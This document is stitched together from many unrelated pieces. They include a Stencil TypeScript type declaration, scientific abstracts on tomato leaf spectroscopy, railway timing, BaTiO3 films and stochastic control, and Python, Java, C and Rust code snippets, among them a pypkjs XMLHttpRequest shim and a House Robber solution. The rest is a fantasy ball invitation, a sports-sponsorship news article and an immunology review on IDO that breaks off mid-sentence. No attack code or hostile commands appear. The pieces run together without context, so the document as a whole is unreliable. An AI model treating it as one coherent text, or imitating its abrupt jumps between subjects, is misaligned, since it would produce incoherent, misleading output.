"super-tab": HTMLSuperTabElement;
"super-tab-button": HTMLSuperTabButtonElement;
"super-tab-indicator": HTMLSuperTabIndicatorElement;
"super-tabs": HTMLSuperTabsElement;
"super-tabs-container": HTMLSuperTabsContainerElement;
"super-tabs-toolbar": HTMLSuperTabsToolbarElement;
}
}
declare namespace LocalJSX {
interface SuperTab {
"loaded"?: boolean;
/**
* Set this to true to prevent vertical scrolling of this tab. Defaults to `false`. This property will automatically be set to true if there is a direct child element of `ion-content`. To override this behaviour make sure to explicitly set this property to `false`.
*/
"noScroll": boolean;
"visible"?: boolean;
}
interface SuperTabButton {
"active"?: boolean;
/**
* Whether the button is disabled
*/
"disabled"?: boolean;
"index"?: number;
"scrollableContainer"?: boolean;
}
interface SuperTabIndicator {
/**
* Toolbar position This determines the position of the indicator
*/
"toolbarPosition"?: 'top' | 'bottom';
}
interface SuperTabs {
/**
* Initial active tab index. Defaults to `0`.
* @type {number}
*/
"activeTabIndex"?: number;
/**
* Global Super Tabs configuration. This is the only place you need to configure the components. Any changes to this input will propagate to child components.
* @type {SuperTabsConfig}
*/
"config"?: SuperTabsConfig;
/**
* Tab change event. This event fires up when a tab button is clicked, or when a user swipes between tabs. The event will fire even if the tab did not change, you can check if the tab changed by checking the `changed` property in the event detail.
*/
"onTabChange"?: (event: CustomEvent<SuperTabChangeEventDetail>) => void;
}
interface SuperTabsContainer {
/**
* Set to true to automatically scroll to the top of the tab when the button is clicked while the tab is already selected.
*/
"autoScrollTop"?: boolean;
"config"?: SuperTabsConfig;
/**
* Emits an event when the active tab changes. An active tab is the tab that the user looking at. This event emitter will not notify you if the user has changed the current active tab. If you need that information, you should use the `tabChange` event emitted by the `super-tabs` element.
*/
"onActiveTabIndexChange"?: (event: CustomEvent<number>) => void;
/**
* Emits events when the container moves. Selected tab index represents what the user should be seeing. If you receive a decimal as the emitted number, it means that the container is moving between tabs. This number is used for animations, and can be used for high tab customizations.
*/
"onSelectedTabIndexChange"?: (event: CustomEvent<number>) => void;
/**
* Enable/disable swiping
*/
"swipeEnabled"?: boolean;
}
interface SuperTabsToolbar {
/**
* Background color. Defaults to `'primary'`
*/
"color"?: string | undefined;
"config"?: SuperTabsConfig;
/**
* Emits an event when a button is clicked Event data contains the clicked SuperTabButton component
*/
"onButtonClick"?: (event: CustomEvent<HTMLSuperTabButtonElement>) => void;
/**
* Whether the toolbar is scrollable. Defaults to `false`.
*/
"scrollable"?: boolean;
/**
* If scrollable is set to true, there will be an added padding to the left of the buttons. Setting this property to false will remove that padding. The padding is also configurable via a CSS variable.
*/
"scrollablePadding"?: boolean;
/**
* Whether to show the indicator. Defaults to `true`
*/
"showIndicator"?: boolean;
}
interface IntrinsicElements {
"super-tab": SuperTab;
"super-tab-button": SuperTabButton;
"super-tab-indicator": SuperTabIndicator;
"super-tabs": SuperTabs;
"super-tabs-container": SuperTabsContainer;
"super-tabs-toolbar": SuperTabsToolbar;
}
}
export { LocalJSX as JSX };
declare module "@stencil/core" {
export namespace JSX {
interface IntrinsicElements {
"super-tab": LocalJSX.SuperTab & JSXBase.HTMLAttributes<HTMLSuperTabElement>;
"super-tab-button": LocalJSX.SuperTabButton & JSXBase.HTMLAttributes<HTMLSuperTabButtonElement>;
"super-tab-indicator": LocalJSX.SuperTabIndicator & JSXBase.HTMLAttributes<HTMLSuperTabIndicatorElement>;
"super-tabs": LocalJSX.SuperTabs & JSXBase.HTMLAttributes<HTMLSuperTabsElement>;
"super-tabs-container": LocalJSX.SuperTabsContainer & JSXBase.HTMLAttributes<HTMLSuperTabsContainerElement>;
"super-tabs-toolbar": LocalJSX.SuperTabsToolbar & JSXBase.HTMLAttributes<HTMLSuperTabsToolbarElement>;
}
}
}
|
Predicting chlorophyll content of greenhouse tomato with ground-based remote sensing NIR spectroscopy can be used in analysis of plant chlorophyll content on a large scale area. This offers the opportunity to use spectral reflectance as a non-destructive method for analyzing photosynthetic pigment status in plant. This research studied the variation of the chlorophyll content and spectral response at different growth stages of greenhouse tomato. Leaf spectral measurements from each treatment (4 N-levels: 0%, 33.3%, 66.6%, 100%) were taken in the greenhouse using an ASD FieldSpec HH spectrophotometer. Chlorophyll content of tomato leaves were measured by alcoholic-acetone extraction in lab. It was found that chlorophyll content of tomato leaf was increasing continuously to the maximum 50 days after the transplantation, while red edge moved to the NIR bands (long wave), and green peak position moved to the Blue bands (short wave) and green peak amplitude decreased. The chlorophyll content would decrease after fruiting stage, while red edge, green peak position and amplitude moved to the opposite direction. Regarding quantitative analysis the relationship between chlorophyll content and spectral response, red edge parameters (Sred(area of red edge), Dred (amplitude of red edge) and Pred (position of red edge ) ) in the first derivative of reflectance curve were obtained at bands of 680-760 nm. Similarly, blue edge, green peak and red valley parameters were defined to reflect spectral character. Vegetation indices were used extensively to estimate the vegetation growth status. Thus, the following wavelengths were used for developing RVI, NDVI and ARVI indices: 440nm, 500nm, 550nm, 680nm, 770nm, Pblue (position of blue edge), Pyellow (position of yellow edge), Pred (position of red edge), Pgreenpeak (position of green peak), Predvalley (position of red valley). Seven optimal spectral parameters were chosen with the method of Karhunen-Loeve from the above-mentioned 68 self-defined property parameters. Stepwise multiple regression (SMLR), principal component regression (PCR), ridge regression (RR) and partial least squares regression (PLSR) were used to develop the prediction models of the chlorophyll content of tomato leaf. The best model was obtained by RR. Root MSE was 0.406 and R2 was 0.839. |
Analytical Method for the Precise and Fast Prediction of Railway Running Times and its Applications The precise and fast prediction of running times is extremely important in railway operations and management. This paper deals with the analytical calculation of railway running times. It contains a new method for the computation of the acceleration process, leading to a fast and compact simulation framework. The approach is compared to a common algorithm, the velocity micro-step Euler-method. Additionally, the accuracy of the new acceleration calculation method is also compared to empirical acceleration behavior of a standard commuter train in Germany. As a result, three suggestions for the application of the algorithm (the calculation of minimum headway times, energy consumption of a train, and energy-efficient driving in the context of track capacity) are shown. |
<filename>agent/manager/ray_manager_async.py
import ray
from agent.manager.abstract.ray_manager import RayManager
class RayManagerAsync(RayManager):
def __init__(self, stop_event, training_event, replay_writer, replay_buffers, model, stats, flags, file_save_url, verbose=False):
super().__init__(stop_event, training_event, replay_writer, replay_buffers, model, stats, flags, file_save_url, verbose)
def plan_and_execute_workers(self):
self.done_ref, self.rollouts = ray.wait(self.rollouts, num_returns=1)
return super(RayManagerAsync, self).plan_and_execute_workers()
def update_model_data(self, current_model):
self.model_dict_ref = ray.put({k: v.cpu() for k, v in current_model.state_dict().items()})
update_rollouts = [self.workers[i].load_model.remote(self.model_dict_ref) for i in range(len(self.workers))]
ray.wait(update_rollouts, num_returns=len(self.workers))
|
Student loan debt is slowing the housing market and the economy, and economic growth is anemic -- 75 percent of recent college graduates are strangled by an average of $363 a month in loan payments.
Some things about the sharing economy are counterintuitive -- using Uber every day is more expensive than owning a car, Keller noted.
Online search is not making buyers smarter and may actually result in home shoppers taking longer to find the right home.
In a meeting room the size of two football fields, Keller Williams co-founder walked a crowd of 15,000 eager KW agents through an economics and housing market tutorial, starting with interest rates and ending with technology trends. |
/**
* WeirdBoxer will always behave unexpected - it chooses the movements by random
*/
public class WeirdBoxer implements BoxerInterface {
@Override
public String name() {
return "RudiRatlos";
}
@Override
public String imageFileName() {
throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
}
@Override
public int getMovement(int round) {
return (int) Math.round(Math.random() * 2.0);
}
@Override
public int getPosition(int round) {
return (int) Math.round(Math.random() * 3.0);
}
} |
<reponame>luckboy/uportlibc<gh_stars>0
/*
* Copyright (c) 2016 <NAME>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <ctype.h>
#include <string.h>
#include <strings.h>
int bcmp(const void *str1, const void *str2, size_t count)
{ return memcmp(str1, str2, count); }
void bcopy(const void *src, void *dst, size_t count)
{ memmove(dst, src, count); }
void bzero(void *str, size_t count)
{ memset(str, 0, count); }
int ffs(int x)
{
int bit, mask;
if(x == 0) return 0;
for(bit = 1, mask = 1; (x & mask) == 0; bit++, mask <<= 1);
return bit;
}
char *index(const char *str, int c)
{ return strchr(str, c); }
char *rindex(const char *str, int c)
{ return strrchr(str, c); }
int strcasecmp(const char *str1, const char *str2)
{
for(; 1; str1++, str2++) {
int c1 = tolower((int) ((unsigned char) (*str1)));
int diff = c1 - tolower((int) ((unsigned char) (*str2)));
if(diff != 0 || c1 == 0) return diff;
}
return 0;
}
int strncasecmp(const char *str1, const char *str2, size_t count)
{
const char *end1 = str1 + count;
for(; str1 != end1; str1++, str2++) {
int c1 = tolower((int) ((unsigned char) (*str1)));
int diff = c1 - tolower((int) ((unsigned char) (*str2)));
if(diff != 0 || c1 == 0) return diff;
}
return 0;
}
|
Join us for a night of fun and fantasy, at The Crystal Ball, a formal event at the world famous Georgia Aquarium Oceans Ballroom on February 25th, 2017 at 7pm!
The night will be alive with hosts of costumed fairies and fae in their best formal attire, framed by the gentle creatures of the deep from all sides, dancing the evening away to orchestral favorites and some secret gems. Each woodland faun and goblin king will be dining on heirloom greens with the cursed blood oranges, toasted pecans, and roquefort, the finest of stewed ovine (or braised short ribs) or vegetarian option for our elven friends, finished with the legendary lemon souffle tart, which opens it's delicate pastry only once every thousand years for a chosen few.
For the dwarves of the party, a cash bar is available for the evening with brew, ale, wine, and assorted cocktails. The night will come alive with the orchestral stylings of the most popular of entertainment, including ballroom arrangements from The Lord of the Rings, Final Fantasy, Harry Potter, The Legend of Zelda, Miyazaki movies, and many many more, with a full dance floor on which to take your favorite necromancer or lamia for a swinging good time!
Hop on your hippogriff and take the nearest exit to the Crystal Ball, presented by the lords and ladies of Dragon Con and MomoCon!
The Crystal Ball
presented by Dragon Con and MomoCon
February 25th, 2017
7pm
a formal affair
Georgia Aquarium Oceans Ballroom
dinner included
VIP access is available, including a special VIP gift bag with custom event artisan-etched glasswear, commemorative cloisonne pin, drink ticket, and special reserved seating.
Dinner consists of a 3 course meal, with the main dish featuring beef (vegan and vegetarian options are available). Dinner will begin at 8:30pm. VIP exclusive hors d'oeurves are available at 7pm.
Parking is available at the Georgia Aquarium for $10 or several lots in the near vicinity for similar pricing.
ATTIRE FOR THE EVENING
This event is, "Black Tie Invited." You must be dressed appropriately or you will be denied entry. Ticket refunds for inappropriately dressed attendees will be given.
Formal attire from all eras are welcome, as are costumes of a formal nature. When choosing a formal cosplay, ask yourself, "Would my character wear this for a formal or special occasion?"
Please use your best judgement.
If you are unsure, don't hesitate to send us a photo of your outfit to info@momocon.com.
GENTLEMEN:
The absolute minimum we require is a long sleeved button up shirt with tie, paired with slacks and proper dress shoes. Jackets are required. Please tuck in your shirts. Tuxedos or suits are encouraged. If you wish, a waist coat, vest with cravat, etc., is also acceptable. Military uniforms are of course welcome, real or fictional, as long as it is done respectfully.
LADIES:
The absolute minimum we require is a cocktail dress of knee length or longer. Cocktail dresses are perfectly acceptable as long as they meet the length requirement. Please refrain from risque dresses that leave little to the imagination. This is a ball, not a party at the club. A floor length ballgown is encouraged.
Should a lady dislike dresses and prefer men's wear, they may refer to the gentlemen's dress code for appropriate attire. Should a gentleman dislike menswear and prefer dresses, they may refer to the ladies’ dress code for appropriate attire. At no point is satire or comedic intent via inappropriate dress allowed.
Please refrain from wearing the following:
• T-Shirts, Jeans, and Shorts
• Tennis Shoes and Flip Flops
• Trench coats or other outerwear
• Wings, Jetpacks, or other large accessories
Weapons of any kind, real or prop, will not be permitted.
ABOUT MASKS:
Masks will be welcome at this event. Please choose a mask that is comfortable and does not impede your vision in any way. No large masks, like ones used with mascot suits or latex halloween masks will be permitted. Again, use your best judgement. If you are not sure, please send us a photo at info@momocon.com.
CRYSTAL BALL FAQ
Why does the event have a specific dress code? We are hosting a fully formal event, and wish to create a formal atmosphere. If you wish to attend our regular semi-formal affairs in semi-formal dress, please wait for the next event!
Can I request songs? We at this time will not be taking non-ballroom style song requests. If you have a recommendation of the appropriate nature of the ballroom/orchestra variety, feel free to email us at info@momocon.com
I would like to help out at the event! Unfortunately our volunteer spots are all taken. We give preference to those who have volunteered for dances in the past, and the demand for this event was very high.
Will this event have full Aquarium access? Attendees at the Crystal Ball will have private viewing access via large windows to the whale shark tank and Beluga whale tank, the remainder of the Aquarium will not be open for attendees. |
Dielectric Property of Epitaxial Films of BaTiO3 Synthesized by Laser Ablation Epitaxial BaTiO3 films have been synthesized on SrTiO3 at the substrate temperature of 700° C and 100 mTorr of oxygen by the method of laser ablation. The surface of the film is found to be flat with a surface roughness of about 7 nm. For the film with the thickness of 2000 A, the relative dielectric constant, e r, exhibits a broad peak at about 150° C; on the other hand, the e r exhibits a sharp peak at the tetragonal to orthorhombic transition. |
<reponame>kjy00302/pypkjs
__author__ = 'katharine'
from gevent import monkey; monkey.patch_all()
import requests
import requests.exceptions
import STPyV8 as v8
from . import events
from .safe_requests import NonlocalHTTPAdapter
from .exceptions import JSRuntimeException
ProgressEvent = lambda runtime, *args: v8.JSObject.create(runtime.context.locals.ProgressEvent, args)
class XMLHttpRequest(events.EventSourceMixin):
UNSENT = 0
OPENED = 1
HEADERS_RECEIVED = 2
LOADING = 3
DONE = 4
def __init__(self, runtime, session):
# properties
self.readyState = self.UNSENT
self.response = None
self.responseText = None
self.responseType = ""
self.status = None
self.statusText = None
self.timeout = None
# handlers
self.onreadystatechange = None
self.ontimeout = None
self.onload = None
self.onloadstart = None
self.onloadend = None
self.onprogress = None
self.onerror = None
self.onabort = None
# internal
self._request = None
self._response = None
self._async = False
self._mime_override = None
self._runtime = runtime
self._session = session
self._thread = None
self._sent = False
with runtime.context as ctx:
ctx.eval("""
ProgressEvent = function(computable, loaded, total) {
Event.call(this);
computable = computable || false;
loaded = loaded || 0;
total = total || 0;
Object.defineProperties(this, {
lengthComputable: {
get: function() { return computable; },
enumerable: true,
},
loaded: {
get: function() { return loaded; },
enumerable: true,
},
total: {
get: function() { return total; },
enumerable: true,
},
});
}
ProgressEvent.prototype = Object.create(Event.prototype);
ProgressEvent.prototype.constructor = ProgressEvent;
""")
super(XMLHttpRequest, self).__init__(runtime)
def open(self, method, url, async_=True, user=None, password=<PASSWORD>):
self._request = requests.Request(method, url)
if user is not None:
self._request.auth = (user, password or "")
self._async = async_
self.readyState = self.OPENED
self._trigger_async_event("readystatechange")
def setRequestHeader(self, header, value):
if self.readyState != self.OPENED:
raise JSRuntimeException("Request headers can only be set in the OPENED state.")
if self._sent:
raise JSRuntimeException("Request headers cannot be set after sending a request.")
self._request.headers[header] = value
def overrideMimeType(self, mimetype):
if self.readyState >= self.LOADING:
raise JSRuntimeException("The mime type cannot be overridden after the request starts loading.")
self._mime_override = mimetype
def _do_request_error(self, exception, event):
self.readyState = self.DONE
if not self._async:
raise Exception(exception)
self._trigger_async_event("readystatechange")
def _do_send(self):
self._sent = True
req = self._session.prepare_request(self._request)
try:
if self.timeout:
timeout = self.timeout / 1000.0
else:
timeout = None
self._response = self._session.send(req, timeout=timeout, verify=True)
self.readyState = self.DONE
self.status = self._response.status_code
self.statusText = self._response.reason
self.responseText = self._response.text
if self.responseType == "json":
self.response = self._response.json()
elif self.responseType == "arraybuffer":
self.response = v8.JSObject.create(self._runtime.context.locals.Uint8Array, (v8.JSArray(list(bytearray(self._response.content))),)).buffer
else:
self.response = self.responseText
self._trigger_async_event("load", ProgressEvent, (self._runtime,))
except requests.exceptions.Timeout:
self._trigger_async_event("timeout", ProgressEvent, (self._runtime,))
self.readyState = self.DONE
except requests.exceptions.RequestException as e:
self.status = 0
self.statusText = str(e)
self.readyState = self.DONE
finally:
self._trigger_async_event("loadend", ProgressEvent, (self._runtime,))
self._trigger_async_event("readystatechange")
def _trigger_async_event(self, event_name, event=None, event_params=(), params=()):
def go():
if event is not None:
self.triggerEvent(event_name, event(*event_params), *params)
else:
self.triggerEvent(event_name, *params)
if self._async:
go()
else:
self._runtime.enqueue(go)
def send(self, data=None):
if data is not None:
if not isinstance(data, str) and str(data) == '[object ArrayBuffer]':
uint8_array = self._runtime.context.locals.Uint8Array
data_array = uint8_array.create(uint8_array, (data,))
self._request.data = bytes(bytearray(data_array[str(x)] for x in range(data_array.length)))
else:
self._request.data = str(data)
self._thread = self._runtime.group.spawn(self._do_send)
if not self._async:
self._thread.join()
def getResponseHeader(self, header):
if self._response is not None:
return self._response.headers.get(header, None)
else:
return None
def getAllResponseHeaders(self):
if self._response is None:
return None
# https://xhr.spec.whatwg.org/#the-getallresponseheaders()-method
return '\x0d\x0a'.join('%s\x3a\x20%s' % (k, v) for k, v in self._response.headers.items())
def abort(self):
if self._sent and self._thread is not None:
self._thread.kill(block=False)
def prepare_xhr(runtime):
session = requests.Session()
if runtime.block_private_addresses:
adapter = NonlocalHTTPAdapter()
session.mount('http://', adapter)
session.mount('https://', adapter)
runtime.natives['xhr'] = XMLHttpRequest
with runtime.context as ctx:
ctx.eval("""
_init_xhr = function(runtime, session) {
var _xhr = _from_python('xhr')
this.XMLHttpRequest = function() {
var origin = new _xhr(runtime, session);
_make_proxies(this, origin, ['open', 'setRequestHeader', 'overrideMimeType', 'send', 'getResponseHeader',
'getAllResponseHeaders', 'abort', 'addEventListener', 'removeEventListener']);
_make_properties(this, origin, ['readyState', 'response', 'responseText', 'responseType', 'status',
'statusText', 'timeout', 'onreadystatechange', 'ontimeout', 'onload',
'onloadstart', 'onloadend', 'onprogress', 'onerror', 'onabort']);
}
this.XMLHttpRequest.UNSENT = 0;
this.XMLHttpRequest.OPENED = 1;
this.XMLHttpRequest.HEADERS_RECEIVED = 2;
this.XMLHttpRequest.LOADING = 3;
this.XMLHttpRequest.DONE = 4;
}
""")
return runtime.context.locals._init_xhr(runtime, session)
|
/// move to the current direction
/// when you are going out of the grid yuow rap to the other side of the grid
fn step(&mut self) {
self.ptr = match (self.ptr, self.dir) {
(Coord { x: 0, y }, Left) => Coord { x: 79, y },
(Coord { x: 79, y }, Right) => Coord { x: 0, y },
(Coord { x, y: 0 }, Up) => Coord {
x,
y: self.grid.len() - 1,
},
(ptr, dir) => {
// we can’t do this at compile time in the match
if dir == Down && ptr.y == self.grid.len() - 1 {
Coord { x: ptr.x, y: 0 }
} else {
ptr + dir
}
}
}
} |
New observer-based stabilization method for stochastic Hamiltonian systems with time-varying delay This paper considers the stabilization problem of nonlinear stochastic Hamiltonian systems with input time-varying delay. The systems under consideration are also subject to some small parameter perturbations in which are unavoidably involved. The dissipative structural properties of the Hamiltonian systems are fully considered and an observer-based adaptive controller are proposed to guarantee robustly asymptotically stable in mean square of the closed-loop systems for all admissible uncertainties, as well as bounded delay. Augmented Lyapunov-Krasovskii functionals are constructed and Wirtinger inequalities are utilized to estimate the derivatives of the candidate Lyapunov functionals more accurately. Numerical simulation spells out to illustrate the effectiveness and less conservatism of the proposed method. |
Nick Symmonds is a six-time outdoor national champion at 800 meters. He finished fifth at the 2012 London Olympics, in a personal best of 1 minute 42.95 seconds. And he has been named to the United States team for the world track and field championships this month in Beijing.
Except Symmonds may not reach the starting line.
He is involved in a dispute with American track officials that has nothing to do with running or doping but rather with corporate sponsorships.
Specifically, it is a conflict between an athlete’s personal endorsements and rules about uniforms and gear that must be worn while representing the national team at events like the world championships and the Olympics.
Symmonds said he had refused to sign what he called a vague document that governs when athletes in Beijing must wear team gear made by Nike, the official sponsor of U.S.A. Track & Field. Symmonds is sponsored by another apparel company, Brooks.
If he does not sign the document by Sunday, when the American roster must be submitted to track’s world governing body, Symmonds “will not be on the team,” said Jill Geer, a spokeswoman for U.S.A.T.F.
The conflict, first reported by Sports Business Daily, reflects a continuing tension in track and field. Many athletes have their own endorsement deals with apparel companies. The national federation has its own deal. Sometimes those collide.
Nike has signed an extension to sponsor U.S.A.T.F. through 2040 for what has been estimated to be $20 million a year.
The question at the heart of Symmonds’s apparel dispute is: What is an official team function?
The U.S.A.T.F. document at issue, known as a statement of conditions, is included in the federation’s bylaws. It stipulates that athletes agree to wear team gear at official functions while representing the United States.
According to the document, official team functions include competitions, awards ceremonies and news conferences. The document also mentions “other official team functions” that are not described in detail.
A separate letter that Symmonds said he had received from the federation several weeks ago included broader language. It mentions team functions “at the athlete hotel” and “during training.” The letter also asks athletes to “pack only Team U.S.A., Nike or nonbranded apparel” for the world championships in Beijing. The word “only” is uppercased and underlined in the letter.
The list of official gear includes uniforms, bandannas, headbands, hats, sweatbands, wristbands, socks, sports bras and travel bags, but it does not include sunglasses, watches and shoes, according to the letter.
Geer, the federation spokeswoman, said the document regulating official attire adhered to industry standards that govern international sports and professional leagues.
But Symmonds said the document that American athletes were being required to sign took the commitment far beyond the playing field. He called it ambiguous and overreaching.
Since signing with Brooks on Jan. 1, 2014, Symmonds has been asked by American officials to remove Brooks gear, even while having morning coffee at the United States team hotel at the 2014 world indoor championships in Poland, he said. Surely, coffee is not an official team function, said Symmonds, who was formerly sponsored by Nike.
But Symmonds said the document he was being asked to sign seemed to violate his own contract with Brooks.
Judging by the letter from U.S.A.T.F., Symmonds said, the federation apparently wants him to wear Nike gear for the world championships from the time he leaves his apartment in Seattle.
Geer, the federation spokeswoman, said the federation strove to balance the interests of individual athletes with those of the governing body. The U.S.A.T.F. spends $2.5 million yearly on televised meets in which athletes are allowed to wear whatever they want during competitions and news conferences so that they can get the most from their endorsement potential, Geer said.
“The only time we limit what athletes can wear is when they are representing the United States,” Geer said.
Symmonds said he had not signed a statement of conditions before competing at the 2014 indoor worlds. The U.S.A.T.F. disputed that, saying it had Symmonds’s electronic signature on file.
In a statement, Brooks said: “The conversation on athletes’ rights is worth having, as it has significant impact on their ability to pursue their dreams. Nick has carried that baton for years, and our support of him will continue regardless of his competition” at the world championships. |
/**
* Leetcode - Algorithm - House Robber Two
*/
package com.ciaoshen.leetcode;
import java.util.*;
class HouseRobberTwo {
public class SolutionV1 {
public int rob(int[] nums) {
if (nums.length == 0) { return 0; }
if (nums.length == 1) { return nums[0]; }
// assertion: nums.length >= 2
int[][] memo = new int[nums.length][2];
memo[nums.length-1][0] = nums[nums.length-1]; // column 0: max if take last element
memo[nums.length-2][1] = nums[nums.length-2]; // column 1: max if not take last element
memo[nums.length-2][0] = nums[nums.length-1];
for (int i = nums.length-3; i >= 0; i--) {
memo[i][0] = Math.max(memo[i+1][0],memo[i+2][0] + nums[i]);
memo[i][1] = Math.max(memo[i+1][1],memo[i+2][1] + nums[i]);
// System.out.println("@" + i + ": memo=[" + memo[i][0] + "," + memo[i][1] + "]");
}
return Math.max(memo[0][1],memo[1][0]);
}
}
public class SolutionV2 {
public int rob(int[] nums) {
if (nums.length == 0) { return 0; }
if (nums.length == 1) { return nums[0]; }
// assertion: nums.length >= 2
int preTakeLast = nums[nums.length-1], preNotTakeLast = nums[nums.length-2];
int bPreTakeLast = nums[nums.length-1], bPreNotTakeLast = 0;
for (int i = nums.length-3; i >= 0; i--) {
int currTakeLast = Math.max(preTakeLast, bPreTakeLast + nums[i]);
int currNotTakeLast = Math.max(preNotTakeLast, bPreNotTakeLast + nums[i]);
bPreTakeLast = preTakeLast; preTakeLast = currTakeLast;
bPreNotTakeLast = preNotTakeLast; preNotTakeLast = currNotTakeLast;
}
return Math.max(preNotTakeLast,bPreTakeLast);
}
}
public class Solution {
public int rob(int[] nums) {
if (nums.length == 0) { return 0; }
if (nums.length == 1) { return nums[0]; }
return Math.max(noCircleRob(nums,0,nums.length-2), noCircleRob(nums,1,nums.length-1));
}
public int noCircleRob(int[] nums, int lo, int hi) {
if (lo > hi) { return 0; }
if (lo == hi) { return nums[lo]; }
// assertion: hi - lo > 0
int maxPre = Math.max(nums[hi],nums[hi-1]), maxBeforePre = nums[hi];
for (int i = hi-2; i >= lo; i--) {
int maxCurr = Math.max(maxPre,maxBeforePre + nums[i]);
maxBeforePre = maxPre;
maxPre = maxCurr;
}
return maxPre;
}
}
private static HouseRobberTwo test = new HouseRobberTwo();
private static Solution solution = test.new Solution();
private static void callRob(int[] nums, String answer) {
System.out.println("For House: " + Arrays.toString(nums) + ", maximum amount of money is: " + solution.rob(nums) + ", [answer = " + answer + "]");
}
private static void test() {
int[] nums1 = new int[]{8,5,11,2,23,16};
int[] nums2 = new int[]{};
int[] nums3 = new int[]{1,1,1};
int[] nums4 = new int[]{1,3,1,3,100};
callRob(nums1,"42");
callRob(nums2,"0");
callRob(nums3,"1");
callRob(nums4,"103");
}
public static void main(String[] args) {
test();
}
}
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The Role of Indoleamine 2, 3-Dioxygenase in Immune Suppression and Autoimmunity Indoleamine 2, 3-dioxygenase (IDO) is the first and rate limiting catabolic enzyme in the degradation pathway of the essential amino acid tryptophan. By cleaving the aromatic indole ring of tryptophan, IDO initiates the production of a variety of tryptophan degradation products called kynurenines that are known to exert important immuno-regulatory functions. Because tryptophan must be supplied in the diet, regulation of tryptophan catabolism may exert profound effects by activating or inhibiting metabolism and immune responses. Important for survival, the regulation of IDO biosynthesis and its activity in cells of the immune system can critically alter their responses to immunological insults, such as infection, autoimmunity and cancer. In this review, we assess how IDO-mediated catabolism of tryptophan can modulate the immune system to arrest inflammation, suppress immunity to cancer and inhibit allergy, autoimmunity and the rejection of transplanted tissues. Finally, we examine how vaccines may enhance immune suppression of autoimmunity through the upregulation of IDO biosynthesis in human dendritic cells. Introduction Indoleamine 2, 3-dioxygenase (IDO) is a mammalian cytosolic enzyme composed of two alpha-helical domains with a heme group located between them responsible for catalyzing the initial step in tryptophan catabolism via the kynurenine degradation pathway (Figure 1). The first and rate-limiting step in this pathway is the conversion of tryptophan to N-formyl kynurenine, and until recently, this reaction was thought to be performed by either tryptophan 2, 3-dioxygenase (TDO) or indoleamine 2, 3-dioxygenase (IDO1). While TDO is widely distributed in both eukaryotes and bacteria, IDO1 is restricted to mammals and yeast. A third tryptophan catabolic enzyme, named indoleamine 2, 3-dioxygenase-2, an indoleamine 2, 3-dioxygenase-like protein or "proto-indoleamine 2, 3-dioxygenase" (IDO2, INDOL1 or proto-IDO), was recently described and was found in mammals and in lower vertebrates. Both IDO1 and IDO2 genes are conserved in mammals and are present in tandem on chromosome 8. Both IDO1 and IDO2 share significant identity at the amino acid level (43% for human and mouse proteins), but are structurally unrelated to the TDO enzyme protein. Expression of IDO2 is found in human DCs, but is not as ubiquitous as IDO1, although IDO2 mRNA can be detected in the liver, small intestine, spleen, placenta, thymus, lung, brain, kidney and colon. The physiological role of IDO2 remains unclear, and unlike IDO1, its expression is not induced by virus infection or the presence of IFN. Further, IDO2 is sensitive to inhibition by the D-isomer of 1-methyl tryptophan (D-1MT), a specific inhibitor of IDO. The relevant sensitivity of IDO to inhibition lies predominantly in the putative effect of the D-isomer on suppression of cancer immune evasion. Interestingly, two non-synonymous single-nucleotide polymorphisms lie in the coding region of the IDO2 gene, both of which result in a loss of enzymatic activity. This observation provides a basis for reducing the effect of IDO2 in cancer progression. In this review, we will focus on the current knowledge of IDO1 biology and how IDO1 functions to inhibit activation of the human immune system. Indoleamine 2, 3-dioxygenase can act on multiple tryptophan substrates that include, L-tryptophan, 5-hydroxy-tryptophan, tryptamine and serotonin. Through its expression in dendritic cells, monocytes and macrophages, IDO modulates T-cell behavior through catabolism of the essential amino acid tryptophan, which is obtained through the diet. Through T-cell functions and other mechanisms to be described later, indoleamine 2, 3-dioxygenase is thought to play a role in a variety of pathophysiological processes that include antimicrobial and antitumor defense, neuropathology, immune-regulation, antioxidant activity and suppression of autoimmunity. Throughout this review, we will center our attention on the role of IDO1 in immunosuppression and experimental approaches that modulate IDO1 expression for the prevention and treatment of chronic inflammatory and autoimmune diseases. The Function of Indoleamine 2, 3-Dioxygenase in Biological Systems Indoleamine 2, 3-dioxygenase is a catabolic enzyme protein that functions to inhibit metabolism in a variety of biological systems that include mammalian reproduction, viruses, stem cells and the nervous system. The discovery of IDO function first occurred in mammals, which owe their continued existence to IDO-mediated immunosuppressive processes that prevent fetal rejection in utero. Pioneering work by Munn, Mellor and their colleagues demonstrated that cells of the placenta express IDO1, which prevented maternal T-cell destruction of the fetus during pregnancy. Arrest of tryptophan catabolism during pregnancy in mice enabled maternal T-cells to provoke fetal allograft rejection, confirming that placental cells synthesizing IDO1 can protect the mammalian fetus from maternal T-cell attack. IDO Function in Stem Cells Mesenchymal stem cells (MSCs) are multipotent stromal cells found in the bone marrow that differentiate into a wide variety of cell types that include osteoblasts (bone cells), chondrocytes (cartilage cells), myocytes (muscle cells) and adipocytes (fat cells). Mesenchymal stem cells provide a basis for improved tissue regeneration and gene therapy. Although MSCs are mostly noted for their progenitor abilities, they also possess a broad immunological capacity. Earlier studies indicate that MSCs exert an immunosuppressive function in the human body. In his studies, the author suggests MSCs do not have the innate ability to express IDO1, but gain this ability following stimulation by the pro-inflammatory cytokines interferon- (IFN) and tumor necrosis factor- (TNF) in combination with IL-1. To elucidate the molecular mechanisms underlying immunosuppression, MSCs from humans, monkeys and mice were compared, and considerable species variation in MSC-mediated immunosuppression was discovered. Mouse MSCs were shown to utilize nitric oxide (NO) as their immunosuppressive molecules, whereas human and monkey MSCs used 